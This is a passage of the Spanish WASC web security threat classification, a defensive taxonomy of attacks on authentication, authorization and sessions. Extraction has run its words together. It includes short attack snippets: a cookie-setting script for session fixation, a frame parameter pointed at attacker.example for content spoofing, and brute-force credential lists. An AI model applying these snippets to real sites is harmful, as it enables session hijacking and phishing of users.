facilitarphp

phpadmin下载  时间:2021-02-13  阅读:()
WebApplicationSecurityConsortium:ClasificacióndeAmenazaswww.
webappsec.
orgVersión:1.
00DescripciónLaClasificacióndeAmenazasalaseguridadwebesunesfuerzodecooperaciónparaaclararyorganizarlasamenazasalaseguridaddeunsitioweb.
LosmiembrosdeWebApplicationSecurityConsortiumhancreadoesteproyectoparadesarrollarypromoverunaterminologíaestándarparalaindustriaquedescribaestosaspectos.
Desarrolladoresdeaplicaciones,profesionalesdelaseguridad,fabricantesdesoftwareyauditores,tendránlacapacidaddedisponerdeunlenguajeconsistenteparatratarlosaspectosrelacionadosconlaseguridadweb.
ObjetivosIdentificartodoslostiposconocidosdeataquealaseguridaddelasaplicacionesweb.
Acordarlanomenclaturadecadatipodeataque.
Desarrollarunaformaestructuradadeorganizarlostiposdeataque.
Desarrollardocumentaciónqueproporcionedescripcionesgenéricasparacadatipodeataque.
AquiénvadirigidoEstedocumentoproporcionaunentendimientoycomprensiónmásprofundadelosriesgosdeseguridadqueamenazanlossitiosweb.
Mejoralasprácticasdeprogramaciónseguraparaprevenirproblemasdeseguridadduranteeldesarrollodeaplicaciones.
Sirvecomoguíaparadeterminarsilossitioswebhansidocorrectamentediseados,desarrollados,yrevisadoscontratodaslasamenazasconocidas.
Ayudaaseleccionarlassolucionesdeseguridadweb,yaentendersuscapacidades.
ndiceDescripción1Objetivos1Aquiénvadirigido1ndice3Introducción5Historia6Colaboradores7Checklist8Tiposdeataque111Autenticación111.
1Fuerzabruta111.
2Autenticacióninsuficiente121.
3Débilvalidaciónenlarecuperacióndecontraseas132Autorización162.
1Prediccióndecredenciales/sesión162.
2Autorizacióninsuficiente182.
3Expiracióndesesióninsuficiente192.
4Fijacióndesesión203Ataquesenlapartecliente243.
1Suplantacióndecontenido243.
2Cross-siteScripting264Ejecucióndecomandos304.
1Desbordamientodebuffer304.
2Ataquesdeformatodecadena324.
3InyecciónLDAP334.
4Comandosdesistemaoperativo374.
5InyeccióndecódigoSQL394.
6InyeccióndecódigoSSI444.
7InyecciónXPath465Revelacióndeinformación485.
1Indexacióndedirectorio495.
2Fugadeinformación525.
3PathTraversal565.
4Localizaciónderecursospredecibles586Ataqueslógicos606.
1Abusodefuncionalidad606.
2Denegacióndeservicio636.
3Anti-automatizacióninsuficiente656.
4Validacióndeprocesoinsuficiente66Contacto68Apéndice691.
1DivisiónderespuestaHTTP691.
2Identificacióndelservidor/aplicaciónweb76Licencia93IntroducciónParamuchasempresas,lossitioswebseutilizancomosistemasdemisióncríticaquedebenfuncionarsinproblemasparaprocesardiariamentemillonesdedólaresentransaccionesonline.
Sinembargo,elvalorrealdeunsitiowebnecesitaserevaluadocasoporcasoencadaempresa.
Elvalortangibleeintangibledealgoesdifícildemedirúnicamenteencifraseconómicas.
Lasvulnerabilidadesdeseguridadwebafectancontinuamenteenelriesgodeunsitioweb.
Cuandounavulnerabilidaddeseguridadwebsehaidentificado,llevaracaboelataquerequierealmenosunadelasmúltiplestécnicasdeataquealasaplicaciones.
Estastécnicassoncomúnmentereferidascomotiposdeataque(laformaenlaqueseaprovechaunavulnerabilidaddeseguridad).
MuchosdeestostiposdeataquetienennombresreconocidoscomoDesbordamientodebuffer,InyeccióndecódigoSQLyCross-siteScripting.
Comobase,eltipodeataqueeselmétodoquelaClasificacióndeAmenazasalaSeguridadWebusaráparaexplicaryorganizarlasamenazasaunsitioweb.
LaClasificacióndeAmenazasalaSeguridadWebrecopilaráydesglosarálostiposconocidosdeataquequehanpresentadounaamenazaasitioswebenelpasado.
Ofreceráunnombreestándaryexplicará,atravésdedocumentación,lospuntosclavedediscusióndecadatipodeataque.
Cadatipotambiénseráclasificadoenunaestructuraflexible.
LacreacióndeunaClasificacióndeAmenazasalaSeguridadWebserádeexcepcionalvalorparadesarrolladoresdeaplicaciones,profesionalesdelaseguridad,fabricantesdesoftwareocualquierotrointeresadoenlaseguridadweb.
Metodologíasderevisióndeseguridadindependientes,guíasdeprogramaciónsegura,yrequerimientosdecapacidadenproductos/serviciossebeneficiarándeesteesfuerzo.
HistoriaDurantelosúltimosaos,laindustriadelaseguridadwebhaadoptadodocenasdetérminosconfusosyesotéricosparadescribirlainvestigacióndevulnerabilidades.
TérminoscomoCross-siteScripting,ManipulacióndeParámetrosyEnvenenamientodeCookieshandadonombresincoherentesyambiguosintentandodescribirsuimpacto.
Porejemplo,cuandounsitiowebesvulnerableaCross-siteScripting,elproblemadeseguridadpuederesultarenunrobodecookiesdeusuario.
Unavezquelacookiehasidocomprometida,permitequealguienpuedallevaracabounsecuestrodesesiónytomeelcontroldelasesióndelusuario.
Paraaprovecharlavulnerabilidad,unatacanteutilizalamanipulacióndelosdatosdeentradaatravésdelaalteracióndelosparámetrosdelaURL.
Ladescripcióndelataqueanterioresconfusaypuedeserdescritautilizandotodaslasformasdelajergatécnica.
Estevocabulariocomplejoeintercambiablecausafrustraciónydesacuerdosenforosabiertos,inclusocuandolosparticipantesestándeacuerdoenlosconceptosprincipales.
Duranteaos,nohahabidounabuenadocumentaciónestandarizada,completaoexactaquedescribaestascuestiones.
Haciendonuestrotrabajo,hemosconfiadoenlaexquisitainformacióndeunbuennúmerodelibros,docenasdedocumentosycientosdepresentaciones.
Cuandolosrecienllegadosalaseguridadwebintentanestudiar,rápidamentesesientenabrumadosyconfusosporlaausenciadeunlenguajeestándar.
Estaconfusiónatrapaelcampodelaseguridadwebenunanieblaqueralentizasuevolución.
NecesitamosunacercamientoformalyestandarizadoparadiscutirlosaspectosdelaseguridadwebaligualqueseguimosmejorandolaseguridaddelaWeb.
ColaboradoresRobertAugerSPIDynamicsRyanBarnettCenterforInternetSecurityApacheProjectLeadYuvalBen-ItzhakIndividualErikCasoNTOBJECTivesCesarCerrudoApplicationSecurityInc.
SachaFaustSPIDynamicsJDGlaserNTOBJECTivesJeremiahGrossmanWhiteHatSecuritySverreH.
HusebyIndividualAmitKleinSanctumMitjaKolsekAcrosSecurityAaronC.
NewmanApplicationSecurityInc.
SteveOrrinSanctumBillPenningtonWhiteHatSecurityRayPomponConjungiNetworksMikeShemaNTOBJECTivesOrySegalSanctumCalebSimaSPIDynamicsChecklistAutenticación1FuerzaBrutaUnataquedefuerzabrutaesunprocesoautomatizadodepruebayerrorutilizadoparaadivinarunnombredeusuario,contrasea,númerodetarjetadecréditooclavecriptográfica.
2AutenticaciónInsuficienteLaautenticacióninsuficienteocurrecuandounsitiowebpermiteaunatacanteaccederacontenidosensibleofuncionalidadessinhaberseautenticadocorrectamente.
3DébilValidaciónenlaRecuperacióndeContraseasLadébilvalidaciónenlarecuperacióndecontraseasseproducecuandounsitiowebpermiteaunatacanteobtener,modificarorecuperar,deformailegal,lacontraseadeotrousuario.
Autorización4PrediccióndeCredenciales/SesiónLaprediccióndecredenciales/sesiónesunmétododesecuestroosuplantacióndeunusuariodelsitioweb.
5AutorizaciónInsuficienteLaautorizacióninsuficienteseproducecuandounsitiowebpermiteaccesoacontenidosensibleofuncionalidadesquedeberíanrequerirunincrementodelasrestriccionesenelcontroldeacceso.
6ExpiracióndeSesiónInsuficienteLaexpiracióndesesióninsuficienteseproducecuandounsitiowebpermiteaunatacantereutilizarcredencialesdesesiónoIDsdesesiónantiguosparallevaracabolaautorización.
7FijacióndeSesiónLafijacióndesesiónesunatécnicadeataquequefuerzaalIDdesesióndeunusuarioaadoptarunvalordeterminado.
Ataquesenlapartecliente8SuplantacióndeContenidoLasuplantacióndecontenidoesunatécnicadeataqueutilizadaparaengaaralusuariohaciéndolecreerqueciertocontenidoqueapareceenunsitiowebeslegítimo,cuandoenrealidadnoloes.
9Cross-siteScriptingCross-siteScripting(XSS)esunatécnicadeataquequefuerzaaunsitiowebarepetircódigoejecutablefacilitadoporelatacante,yquesecargaráenelnavegadordelusuario.
Ejecucióndecomandos10DesbordamientodeBufferLaexplotacióndeundesbordamientodebufferesunataquequealteraelflujodeunaaplicaciónsobreescribiendopartesdelamemoria.
11AtaquesdeFormatodeCadenaLosataquesdeformatodecadenaalteranelflujodeunaaplicaciónutilizandolascapacidadesproporcionadasporlaslibreríasdeformatodecadenasparaaccederaotroespaciodememoria.
12InyecciónLDAPLainyecciónLDAPesunatécnicadeataqueusadaparaexplotarsitioswebqueconstruyensentenciasLDAPapartirdedatosdeentradasuministradosporelusuario.
13ComandosdeSistemaOperativoLoscomandosdesistemaoperativoesunatécnicadeataqueutilizadaparaexplotarsitioswebmediantelaejecucióndecomandosdesistemaoperativoatravésdelamanipulacióndelasentradasalaaplicación.
14InyeccióndecódigoSQLLainyeccióndecódigoSQLesunatécnicadeataqueusadaparaexplotarsitioswebqueconstruyensentenciasSQLapartirdeentradasfacilitadasporelusuario.
15InyeccióndecódigoSSILainyeccióndecódigoSSI(Server-sideInclude)esunatécnicadeexplotaciónenlaparteservidoraquepermiteaunatacanteenviarcódigoaunaaplicaciónweb,queposteriormenteseráejecutadolocalmenteporelservidorweb.
16InyecciónXPathLainyecciónXPathesunatécnicadeataqueutilizadaparaexplotarsitioswebqueconstruyenconsultasXpathcondatosdeentradafacilitadosporelusuario.
Revelacióndeinformación17IndexacióndeDirectorioLaindexación/listadoautomáticodedirectorioesunafuncióndelservidorwebquelistatodoslosficherosdeldirectoriosolicitadosinoseencuentrapresenteelficherodeiniciohabitual.
18FugadeInformaciónLafugadeinformaciónseproducecuandounsitiowebrevelainformaciónsensible,comocomentariosdelosdesarrolladoresomensajesdeerror,quepuedeayudaraunatacanteparaexplotarelsistema.
19PathTraversalLatécnicadeataquePathTraversalfuerzaelaccesoaficheros,directoriosycomandosquepotencialmenteresidenfueradeldirectorio"documentroot"delservidorweb.
20LocalizacióndeRecursosPredeciblesLalocalizaciónderecursospredeciblesesunatécnicadeataqueusadaparadescubrircontenidoyfuncionalidadesocultasenelsitioweb.
Ataqueslógicos21AbusodeFuncionalidadElabusodefuncionalidadesunatécnicadeataquequeusalaspropiascapacidadesyfuncionalidadesdeunsitiowebparaconsumir,estafaroevadirmecanismosdecontroldeacceso.
22DenegacióndeServicioLadenegacióndeservicio(DenialofService,DoS)esunatécnicadeataquecuyoobjetivoesevitarqueunsitiowebpermitalaactividadhabitualdelosusuarios.
23Anti-automatizaciónInsuficienteLaanti-automatizacióninsuficienteseproducecuandounsitiowebpermiteaunatacanteautomatizarunprocesoquesólodebeserllevadoacabomanualmente.
24ValidacióndeProcesoInsuficienteLavalidacióndeprocesoinsuficienteseproducecuandounsitiowebpermiteaunatacanteevadiroengaarelflujodecontrolesperadoporlaaplicación.
TiposdeataqueAutenticaciónElcapítulo"Autenticación"cubreataquescuyoobjetivoeselmétodoutilizadoporunsitiowebparavalidarlaidentidaddeunusuario,serviciooaplicación.
Laautenticaciónesrealizadausandoalmenosunodeestostresmecanismos:"algoquesetiene","algoqueseconoce"o"algoquesees".
Esteapartadotratarálosataquesutilizadosparaengaaroexplotarelprocesodeautenticacióndeunsitioweb.
FuerzabrutaUnataquedefuerzabrutaesunprocesoautomatizadodepruebayerrorutilizadoparaadivinarelnombredeusuario,contrasea,númerodetarjetadecréditooclavecriptográficadeunapersona.
Muchossistemaspermitenelempleodecontraseasoclavescriptográficasdébiles,ylosusuariosamenudoescogeráncontraseasfácilesdeadivinar,posiblementeencontradasenundiccionario.
Considerandoesteescenario,unatacantepuedecomenzarunbuclerecorriendoeldiccionariotérminoatérmino,generandomilesopotencialmentemillonesdealternativasincorrectasbuscandolacontraseaválida.
Cuandounacontraseaadivinadapermitealaccesoalsistema,elataquedefuerzabrutahatenidoéxitoyelatacantedisponedeaccesoalacuenta.
Lamismatécnicadepruebayerrortambiénesaplicableparaadivinarclavesdecifrado.
Cuandounsitiowebutilizaunaclavedébilodecortalongitud,esposibleparaunatacanteadivinarunaclavecorrectaprobandotodaslasposiblescombinacionesdeclaves.
Esencialmentehaydostiposdeataquedefuerzabruta,fuerzabruta(normal)yfuerzabrutainversa.
Unataquenormaldefuerzabrutautilizaunúniconombredeusuarioymuchascontraseas.
Unataquedefuerzabrutainversautilizamuchosnombresdeusuarioyunaúnicacontrasea.
Ensistemasconmillonesdecuentasdeusuario,lasprobabilidadesdequemúltiplesusuarioscompartanlamismacontraseaaumentanradicalmente.
Mientraslastécnicasdefuerzabrutasonsumamentepopularesyamenudoresultansatisfactorias,puedenllevaracabohoras,semanasoaosencompletarse.
EjemploUsername=JonPasswords=smith,michael-jordan,[petnames],[birthdays],[carnames],….
Usernames=Jon,Dan,Ed,Sara,Barbara,….
.
Password=12345678Referencias"BruteForceAttack",ImpervaGlossaryhttp://www.
imperva.
com/application_defense_center/glossary/brute_force.
html"iDefense:Brute-ForceExploitationofWebApplicationSessionID's",ByDavidEndler–iDEFENSELabshttp://www.
cgisecurity.
com/lib/SessionIDs.
pdfAutenticacióninsuficienteLaautenticacióninsuficienteocurrecuandounsitiowebpermiteaunatacanteaccederacontenidoofuncionalidadsensiblesintenerqueautenticarsecorrectamente.
Lasherramientasdeadministraciónbasadasenwebsonunbuenejemplodesitioswebqueproporcionanaccesoafuncionalidadessensibles.
Dependiendodelosrecursosespecíficosonline,estasaplicacioneswebnodeberíanserdirectamenteaccesiblessinrequerirdelaformaapropiadalaverificacióndelaidentidaddelusuario.
Enelámbitodelaconfiguracióndelaautenticación,algunosrecursossonprotegidos"ocultando"laubicaciónespecíficaynoenlazandosuubicaciónenelsitiowebprincipaluotraszonaspúblicas.
Sinembargo,estaactuaciónnoesmásque"seguridadatravésdeoscuridad".
Esimportanteentenderquesimplementeporqueunrecursoesdesconocidoparaunatacante,noimplicaqueesterecursonopermanezcaaccesibledirectamenteatravésdeunaURLespecífica.
EstaURLpuedeserdescubiertaatravésdepruebasdefuerzabrutasobreubicacionescomunesdeficherosydirectorios(/adminporejemplo),mensajesdeerror,logsoquizásrecursosdocumentadosenficherosdeayuda.
Estosrecursos,yaseancontenidosofuncionalidades,debenseradecuadamenteprotegidos.
EjemploMuchasaplicacioneswebhansidodiseadasconfuncionalidadesadministrativasenunaubicaciónfueradeldirectorioraíz(/admin/).
Estedirectoriogeneralmentenuncaesenlazadodesdeelsitioweb,peroaúnasípuedeseraccedidoutilizandounnavegadorwebestándar.
Yaqueelusuarioodesarrolladornuncaesperóquealguienpudieraverestapágina,elaadidodeautenticaciónespasadoporaltoenmuchasocasiones.
Siunatacantesimplementevisitaraestapágina,obtendríaaccesocompletodeadministraciónalsitioweb.
DébilvalidaciónenlarecuperacióndecontraseasLadébilvalidaciónenlarecuperacióndecontraseasseproducecuandounsitiowebpermite,deformailegal,queunatacanteobtenga,modifiqueorecuperelacontraseadeotrousuario.
Losmétodosdeautenticaciónconvencionalesdeunsitiowebrequierenquelosusuariosseleccionenyrecuerdenunacontraseaounafrase.
Elusuariodebeserlaúnicapersonaqueconozcalacontraseaydebeserrecordadadeformaprecisa.
Amedidaqueeltiempopasa,losusuariospierdenlacapacidadderecordarconprecisiónsuscontraseas.
Elasuntosecomplicamásaúncuandoelusuariovisita,demedia,20sitiosquerequierensuministrarunacontrasea(másinformaciónenelsiguienteenlacedeRSASurvey:http://news.
bbc.
co.
uk/1/hi/technology/3639679.
stm).
Así,larecuperacióndecontraseasseconvierteenunaparteimportantedentrodelservicioonlineausuarios.
Ejemplosdeprocesosautomáticosderecuperacióndecontraseasincluyenrequeriralusuarioelresponderauna"preguntasecreta"definidacomopartedelprocesoderegistrodelusuario.
Estapreguntapuedeserseleccionadadeunalistadepreguntaspredefinidasoproporcionadaporelusuario.
Otromecanismoenusoconsisteenrequerirqueelusuarioproporcioneuna"indicación"duranteelprocesoderegistroqueleayudearecordarsucontrasea.
Otrosmecanismosrequierenqueelusuarioproporcionedistintosdatospersonalescomosunúmerodelaseguridadsocial,dirección,códigopostal,etc.
paravalidarsuidentidad.
Despuésdequeelusuariohayademostradoqueesquiéndiceser,elsistemaderecuperaciónmostraráoenviaráporcorreoelectrónicounanuevacontrasea.
Unsitiowebseconsideraqueutilizaunavalidacióndébilenlarecuperacióndecontraseascuandounatacanteescapazdesobrepasarelmecanismoderecuperaciónutilizado.
Estoocurrecuandolainformaciónrequeridaparavalidarlaidentidaddelosusuariosdurantelarecuperación,esfácilmentepredecibleopuedeserfalsificada.
Lossistemasderecuperacióndecontraseaspuedensercomprometidosmedianteelusodeataquesdefuerzabruta,debilidadesinherentesdelsistemaopreguntassecretasfácilmentepredecibles.
Ejemplo(Métodosdébilesderecuperacióndecontraseas)VerificacióndeinformaciónMuchossitioswebsólorequierenalusuarioqueproporcionesudireccióndecorreoelectrónicoencombinaciónconsudirecciónpostalysunúmerodeteléfono.
Estainformaciónpuedeserfácilmenteobtenidaatravésdeconsultasonlinesobrepáginasamarillasopáginasblancas.
Comoresultado,lainformacióndeverificaciónnoesmuysecreta.
Másaún,lainformaciónpuedesercomprometidavíaotrosmétodoscomoCross-siteScriptingylasestafasdePhising.
IndicacionesdecontraseasUnsitiowebqueutilizaindicacionesparaayudararecordaralusuariosucontraseapuedeseratacadoporquelaindicaciónayudaalosataquesdefuerzabruta.
Unusuariopuedetenerunabuenacontraseacomo"122277King"consucorrespondienteindicaciónde"bday+favauthor".
Unatacantepuedededucirdeestaindicaciónquelacontraseadelusuarioesunacombinacióndelafechadecumpleaosdelusuarioysuautorfavorito.
Estoayudaareducirconsiderablementeeltamaodeldiccionariodefuerzabrutaautilizarsobrelacontrasea.
PreguntasecretayrespuestaUnacontraseadeusuariopuedeser"Richmond"conunapreguntasecretade"Dedondeeres".
Unatacantepuedeutilizarunataquedefuerzabruta,limitandolarespuestasecretaanombresdeciudades.
Porotrolado,sielatacanteconoceunpocoelusuarioobjetivo,conocersuciudadnatalleresultarátambiénfácil.
Referencias"ProtectingSecretKeyswithPersonalEntropy",ByCarlEllison,C.
Hall,R.
Milbert,andB.
Schneierhttp://www.
schneier.
com/paper-personal-entropy.
html"EmergencyKeyRecoverywithoutThirdParties",CarlEllisonhttp://theworld.
com/~cme/html/rump96.
htmlAutorizaciónElcapítulo"Autorización"cubrelosataquesquetienencomoobjetivounmétododelossitioswebparadeterminarsiunusuario,serviciooaplicacióntienelospermisosnecesariosparaejecutarunaacciónsolicitada.
Porejemplo,muchossitioswebsólodeberíanpermitiraciertosusuariosaccederacontenidosofuncionalidadesespecíficos.
Otrasveces,unaccesodeusuarioaotrosrecursospuedeestarrestringido.
Usandovariastécnicas,unatacantepuedeintroducirsedentrodeunsitiowebincrementandosusprivilegioshaciaáreasprotegidas.
Prediccióndecredenciales/sesiónLaprediccióndecredenciales/sesiónesunmétododesecuestroosuplantacióndeunusuariodeunsitioweb.
Deduciendooadivinandoelvalorúnicoqueidentificaaunusuarioosesionparticularselograelataque.
Tambienconocidocomosecuestrodesesión,lasconsecuenciaspodríanpermitiralosatacanteslacapacidaddeemitirpeticionesalsitiowebconlosprivilegiosdelusuariocomprometido.
Muchossitioswebestandiseadosparaautenticareincorporarunamarcadeseguimientoaunusuariocuandolacomunicaciónseestableceporprimeravez.
Parahaceresto,losusuariosdebendemostrarsuidentidadalsitioweb,tipicamentefacilitandounacombinacióndenombredeusuario/contrasea(credenciales).
Envezdeestarpasandoestascredencialesconfidencialesdeunladoaotroencadatransacción,lossitioswebgeneraranunúnico"ID(identificador)desesión"paraidentificarlasesióndelusuariocomoautenticado.
LacomunicaciónposteriorentreelusuarioyelsitiowebesetiquetadaconlaIDdesesióncomo"prueba"delasesiónautenticada.
SiunatacanteescapazdepredeciroadivinarlaIDdesesióndeotrousuario,laactividadfraudulentaesposible.
EjemploMuchossitioswebprocurangenerarlosIDsdesesiónusandoalgoritmospropietarios.
EstasmetodologíastradicionalespuedengenerarIDsdesesionsimplementeincrementandonúmerosestáticos.
Opuedenserprocedimientosmáscomplejostalescomofactorizarentiempoyenotrasvariablescomputacionalesespecíficas.
ElIDdesesiónesentoncesalmacenadoenunacookie,camposocultosdeformulariooenlaURL.
SiunatacantepuededeterminarelalgoritmousadoparagenerarelIDdesesión,unataquepuedesermontadodelasiguientemanera:ElatacanteconectaconlaaplicaciónwebobteniendoelactualIDdesesión.
ElatacantecalculaorealizafuerzabrutasobreelpróximoIDdesesión.
Elatacantecambiaelvaloractualenlacookie/campodeformulariooculto/URLyasumelaidentidaddelotrousuario.
Referencias"iDefense:Brute-ForceExploitationofWebApplicationSessionID's",ByDavidEndler–iDEFENSELabshttp://www.
cgisecurity.
com/lib/SessionIDs.
pdf"BestPracticesinManagingHTTP-BasedClientSessions",GunterOllmann-X-ForceSecurityAssessmentServicesEMEAhttp://www.
itsecurity.
com/papers/iss9.
htm"AGuidetoWebAuthenticationAlternatives",JanWolterhttp://www.
unixpapa.
com/auth/homebuilt.
htmlAutorizacióninsuficienteLaautorizacióninsuficienteseproducecuandounsitiowebpermiteaccesoacontenidosensibleofuncionalidadesquedeberíanrequerirunaumentoderestriccionesdecontroldeacceso.
Cuandounusuarioesautenticadoenunsitioweb,nonecesariamentesignificaquedebierateneraccesocompletoatodoelcontenido,ytampocolafuncionalidaddebieraserotorgadaarbitrariamente.
Losprocedimientosdeautorizaciónsoninterpretadosdespuesdelaautenticación,forzandoloqueunusuario,serviciooaplicaciónestapermitidoarealizar.
Prudentesrestriccionesdeberíanguiarlaactividaddeunsitiowebdeacuerdoalapolítica.
Zonassensiblesdeunsitiowebpuedennecesitarestarrestringidasatodoelmundoexceptoparaunadminstrador.
EjemploEnelpasadomuchossitioswebteníancontenidoadministrativoy/ofuncionalidadesalmacenadasendirectoriosocultostalescomo/admino/logs.
Siunatacantehacíaunapeticióndirectamenteaesosdirectorios,teníaelaccesopermitido.
Elatacantepodíaentoncessercapazdereconfigurarelservidorweb,accederainformaciónsensibleocomprometerelsitioweb.
Referencias"BruteForceAttack",ImpervaGlossaryhttp://www.
imperva.
com/application_defense_center/glossary/brute_force.
html"iDefense:Brute-ForceExploitationofWebApplicationSessionID's",ByDavidEndler–iDEFENSELabshttp://www.
cgisecurity.
com/lib/SessionIDs.
pdfExpiracióndesesióninsuficienteLaexpiracióndesesióninsuficienteseproducecuandounsitiowebpermiteaunatacantereutilizarunascredencialesdesesionantiguasoIDsdesesiónparalaautorización.
Laexpiracióndesesióninsuficienteincrementalaexposicióndelossitioswebparaquelosatacantesrobenosehaganpasarporotrosusuarios.
DadoqueHTTPesunprotocolosinestado,lossitioswebcomúnmenteusanlosIDsdesesiónparaidentificardeformaúnicaaunusuariodeunapeticióndeotra.
Consecuentemente,cadaIDdesesióndebesermantenidoconfidencialmenteconelobjetivodeprevenirquemúltiplesusuariosaccedanalamismacuenta.
UnIDdesesiónrobadopuedeserusadoparaverotrascuentasdeusuarioorealizarunatransacciónfraudulenta.
Lafaltadelaapropiadaexpiracióndesesiónpuedefavorecerlaprobablesucesióndeciertosataques.
Porejemplo,unatacantepuedeinterceptarunIDdesesión,posiblementemedianteunrastreadordered(sniffer)omedianteunataquedeCross-siteScripting.
Aunquelostiemposcortosdeexpiracióndesesiónnoayudansiunidentificadorrobadoesusadoinmediatamente,losprotegeráncontradesarrollosderepeticióndelIDdesesión.
Enotroescenario,unusuariopuedeaccederaunsitiowebdesdeunordenadorcompartido(talcomoenunalibrería,cafédeinternetoenunentornodetrabajoabierto).
Laexpiracióndesesióninsuficientepodríapermitiraunatacanteusarelbotónatrásdelnavegadorparaaccederapáginasaccedidaspreviamenteporlavíctima.
UntiempolargodeexpiraciónincrementalasprobabilidadesdeunatacanteparateneréxitoenadivinarunIDdesesiónválido.
Lalargalongituddeltiempoincrementaelnúmerodesesionesconcurrentesyabiertas,lascualesalarganlareservadenúmerosqueunatacantepuedeadivinar.
EjemploEnunentornoinformáticodistribuido(másdeunapersonatieneaccesofísicosinrestriccionesaunordenador),laexpiracióndesesióninsuficientepuedeserexplotadaparaverlaactividadwebdeotrousuario.
Siunafuncióndesalidadelogindeunsitiowebenvíameramentealavíctimaalapáginaprincipaldelsitiosinterminarlasesión,otrousuariopodríairatravésdelhistóricodelaspáginasdelnavegadoryverlaspáginasaccedidasporlavíctima.
DadoqueelIDdesesióndelavíctimanohaexpirado,elatacantepodríasercapazdeverlasesióndelavíctimasintenerquefacilitarlainformacióndelascredencialesdeautenticación.
Referencias"DosandDon'tsofClientAuthenticationontheWeb",KevinFu,EmilSit,KendraSmith,NickFeamster-MITLaboratoryforComputerSciencehttp://cookies.
lcs.
mit.
edu/pubs/webauth:tr.
pdfFijacióndesesiónLafijacióndesesiónesunatécnicadeataquequefuerzaunIDdesesióndeusuarioaunvalorexplícito.
Dependiendodelafuncionalidaddelsitiowebobjetivo,unnúmerodetécnicaspuedenserutilizadaspara"fijar"elvalordelIDdesesión.
EsterangodetécnicaspasadesdelosexploitsdeCross-siteScriptinghastaacribillaralsitiowebconpeticionesHTTPconstruidaspreviamente.
DespuésdequeunIDdesesióndeusuariohasidofijado,elatacanteesperaráparahacerlogin.
Cuandoelusuariolohace,elatacanteusaelvalordelIDdesesiónpredefinidoparaasumirsuidentidadonline.
GeneralmentehablandohaydostiposdesistemasdeadministracióndesesiónenloqueavaloresdeIDserefiere.
Elprimertiposonlossistemas"permisivos"quepermitenalosnavegadoreswebespecificarcualquierID.
Elsegundotiposonsistemas"estrictos"quesóloaceptanvaloresgeneradosenlapartedelservidor.
Consistemaspermisivos,lassesionesdeIDsarbitrariossonmantenidossincontactarconelsitioweb.
Lossistemasestrictosrequierenqueelatacantemantengala"sesióntrampa"concontactosperiódicosalsitiowebpreviniendolosexcesosdetiempoporinactividad.
Sinprotecciónactivacontralafijacióndesesión,elataquepuedesermontadocontracualquiersitiowebusandosesionesparaidentificaralosusuariosautenticados.
LossitioswebqueusanIDsdesesiónnormalmenteestánbasadosencookies,perolasURLsyloscamposocultosdeformulariotambiénseusan.
Desafortunadamentelassesionesbasadasencookiessonlasmásfácilesdeatacar.
Lamayoríadelosmétodosdeataqueactualmenteidentificadostienencomoobjetivolafijacióndecookies.
EncontrasteconelrobodeunIDdesesióndeusuariodespuésdequeelusuariosehayaautenticadoenunsitioweb,lafijacióndesesiónproporcionamuchamásvariedaddeposibilidades.
Laparteactivadelataquetienelugarantesdequeelusuarioseautentique.
EjemploElataquedefijacióndesesiónnormalmenteesunprocedimientodetrespasos:ConfiguracióndeSesiónElatacanteconfigurauna"sesióntrampa"paraelsitiowebobjetivoyobtienelosIDsdesesión.
OelatacantepuedeseleccionarunIDdesesiónarbitrariousadoenelataque.
Enalgunoscasoselvalordela"sesióntrampa"establecidasedebemantener(sesiónmantenida)conrepetidoscontactosconelsitioweb.
FijacióndeSesiónElatacanteintroduceelvalordelasesióntrampaenelnavegadordelusuarioyfijaelIDdesesióndelusuario.
EntradaenSesiónElatacanteesperaráhastaqueelusuarioseautentiqueenelsitiowebobjetivo.
Cuandoelusuariolohaga,elvalordelIDdesesiónfijadoseráusadoyelataquesellevaráacabo.
FijarunvalordeIDdesesióndelusuariosepuedeconseguirmediantelassiguientestécnicas:EmitiendounanuevovalorenlaIDdesesióndelacookieusandounscriptenlaparteclienteUnavulnerabilidaddeCross-siteScriptingpresenteencualquiersitiowebdeldominiopuedeserusadaparamodificarelvalordelaactualcookie.
Fragmentodecódigo:http://example/document.
cookie="sessionid=1234;%20domain=.
example.
dom";.
idcEmitiendounacookieusandoeltagMETAEstemétodoessimilaralosanteriores,perotambiénesefectivocuandolascontramedidasparaelCross-siteScriptingprevienendelainyeccióndeetiquetasdescriptHTML,peronodemetaetiquetas.
Fragmentodecódigo:http://example/.
idcEmitiendounacookieusandounacabeceraderespuestaHTTPElataquefuerzatantoelsitiowebobjetivocomocualquierotrositiowebdeldominio,emitiendounacookiedeIDdesesión.
Estosepuedelogrardevariasformas:Entrandoenunservidorwebdeldominio(porejemplo,unservidorWAPmantenidodeficientemente)EnvenenandounservidorDNSdeusuarios,efectivamenteaadiendoelservidorwebatacadoaldominio.
Configurandounservidorwebmalévoloeneldominio(porejemplo,enunaestacióndetrabajodeundominioWindows2000,todaslasestacionesdetrabajotambiénestáneneldominioDNS)ExplotandounataquededivisiónderespuestaHTTP.
Nota:Unataquedefijacióndesesióndegranperiodosepuedelograremitiendounacookiepersistente(porejemplo,expirandoen10aos),lacualmantendrálasesiónfijadaaúncuandoelusuarioreinicieelordenador.
Fragmentodecódigo:http://example/document.
cookie="sessionid=1234;%20Expires=Friday,%201Jan2010%2000:00:00%20GMT";.
idcReferencias"SessionFixationVulnerabilityinWeb-basedApplications",ByMitjaKolsek-AcrosSecurityhttp://www.
acrossecurity.
com/papers/session_fixation.
pdf"DivideandConquer",ByAmitKlein-Sanctumhttp://www.
sanctuminc.
com/pdf/whitepaper_httpresponse.
pdfAtaquesenlaparteclienteElcapítulo"Ataquesenlapartecliente"secentraenelabusooaprovechamientodelosusuariosdelossitiosweb.
Cuandounusuariovisitaunsitioweb,seestableceunarelacióndeconfianzaentrelasdospartes,tecnológicaypsicológicamente.
Elusuarioesperaqueelsitiowebquevisitaleentreguecontenidoválido.
Elusuariotambiénesperaqueelsitiowebnoleataquedurantesupermanencia.
Teniendoencuentaestasesperanzasenlarelacióndeconfianza,unatacantepuedeempleardiversastécnicasparaaprovecharsedelusuario.
SuplantacióndecontenidoLasuplantacióndecontenidoesunatécnicadeataqueusadaparaengaaraunusuariohaciéndolecreerqueciertamenteelcontenidoqueapareceenelsitiowebeslegítimoynoprovienedeningunafuenteexterna.
AlgunaspáginaswebsonservidasusandofuentescuyocontenidoHTMLesconstruidodeformadinámica.
Porejemplo,laubicaciónorígendeunmarco()podríaserespecificadaporelvalordeunparámetroenlaURL.
(http://foo.
example/pageframe_src=http://foo.
example/file.
html).
Unatacantepuedesercapazdereemplazarelvalordelparámetro"frame_src"con"frame_src=http://attacker.
example/spoof.
html".
Cuandolapáginawebresultanteesservida,labarradedireccionesdelnavegadorpermanecevisiblementebajoeldominioesperadoporelusuario(foo.
